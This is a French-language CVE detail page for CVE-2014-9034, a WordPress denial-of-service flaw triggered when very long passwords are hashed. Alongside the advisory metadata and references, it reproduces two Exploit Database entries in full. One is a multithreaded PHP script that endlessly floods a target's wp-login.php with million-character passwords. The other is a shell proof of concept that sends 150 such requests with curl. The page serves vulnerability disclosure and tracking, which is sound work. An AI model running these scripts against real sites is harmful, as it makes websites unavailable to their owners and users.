CVE-2014-9034 : Détail

CVE-2014-9034

10.17%V3
Network
2014-11-25
22h00 +00:00
2015-04-28
11h57 +00:00
CVE.org
NVD
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Descriptions du CVE

wp-includes/class-phpass.php in WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x before 4.0.1 allows remote attackers to cause a denial of service (CPU consumption) via a long password that is improperly handled during hashing, a similar issue to CVE-2014-9016.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-19 Category : Data Processing Errors
Weaknesses in this category are typically found in functionality that processes data. Data processing is the manipulation of input to retrieve or save information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 35413

Date de publication : 2014-11-30 23h00 +00:00
Auteur : SECURELI.com
EDB Vérifié : No

<?php echo "\nCVE-2014-9034 | WordPress <= v4.0 Denial of Service Vulnerability\n"; echo "Proof-of-Concept developed by [email protected] (http://secureli.com)\n\n"; echo "usage: php wordpressed.php domain.com username numberOfThreads\n"; echo " e.g.: php wordpressed.php wordpress.org admin 50\n\n"; echo "Sending POST data (username: " . $argv[2] . "; threads: " . $argv[3] . ") to " . $argv[1]; do { $multi = curl_multi_init(); $channels = array(); for ($x = 0; $x < $argv[3]; $x++) { $ch = curl_init(); $postData = array( 'log' => $argv[2], 'pwd' => str_repeat("A",1000000), 'redirect_to' => $argv[1] . "/wp-admin/", 'reauth' => 1, 'testcookie' => '1', 'wp-submit' => "Log%20In"); $cookieFiles = "cookie.txt"; curl_setopt_array($ch, array( CURLOPT_HEADER => 1, CURLOPT_USERAGENT => "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6", CURLOPT_REFERER => $argv[1] . "/wp-admin/", CURLOPT_COOKIEJAR => $cookieFiles, CURLOPT_COOKIESESSION => true, CURLOPT_URL => $argv[1] . '/wp-login.php', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postData, CURLOPT_FOLLOWLOCATION => true)); curl_multi_add_handle($multi, $ch); $channels[$x] = $ch; } $active = null; do { $mrc = curl_multi_exec($multi, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); while ($active && $mrc == CURLM_OK) { do { $mrc = curl_multi_exec($multi, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } foreach ($channels as $channel) { curl_multi_remove_handle($multi, $channel); } curl_multi_close($multi); echo "."; } while (1==1); ?>
Exploit Database EDB-ID : 35414

Date de publication : 2014-11-30 23h00 +00:00
Auteur : Javer Nieto & Andres Rojas
EDB Vérifié : No

==================================================================== DESCRIPTION: ==================================================================== A vulnerability present in Wordpress < 4.0.1 allows an attacker to send specially crafted requests resulting in CPU and memory exhaustion. This may lead to the site becoming unavailable or unresponsive (denial of service). ==================================================================== Time Line: ==================================================================== November 20, 2014 - A Wordpress security update and the security advisory is published. ==================================================================== Proof of Concept: ==================================================================== Generate a pyaload and try with a valid user: echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload Perform a Dos with a valid user: for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &); sleep 0.25; done ==================================================================== Authors: ==================================================================== -- Javer Nieto -- http://www.behindthefirewalls.com -- Andres Rojas -- http://www.devconsole.info ==================================================================== References: ==================================================================== * https://wordpress.org/news/2014/11/wordpress-4-0-1/ * https://www.drupal.org/SA-CORE-2014-006 * http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html * http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html * http://www.devconsole.info/?p=1050

Products Mentioned

Configuraton 0

Wordpress>>Wordpress >> Version To (including) 3.7.4

Wordpress>>Wordpress >> Version 3.8

Wordpress>>Wordpress >> Version 3.8.1

Wordpress>>Wordpress >> Version 3.8.2

Wordpress>>Wordpress >> Version 3.8.3

Wordpress>>Wordpress >> Version 3.8.4

Wordpress>>Wordpress >> Version 3.9

Wordpress>>Wordpress >> Version 3.9.1

Wordpress>>Wordpress >> Version 3.9.2

Wordpress>>Wordpress >> Version 4.0

Références

http://www.debian.org/security/2014/dsa-3085
Tags : vendor-advisory, x_refsource_DEBIAN
http://openwall.com/lists/oss-security/2014/11/25/12
Tags : mailing-list, x_refsource_MLIST
http://www.securitytracker.com/id/1031243
Tags : vdb-entry, x_refsource_SECTRACK
http://www.mandriva.com/security/advisories?name=MDVSA-2014:233
Tags : vendor-advisory, x_refsource_MANDRIVA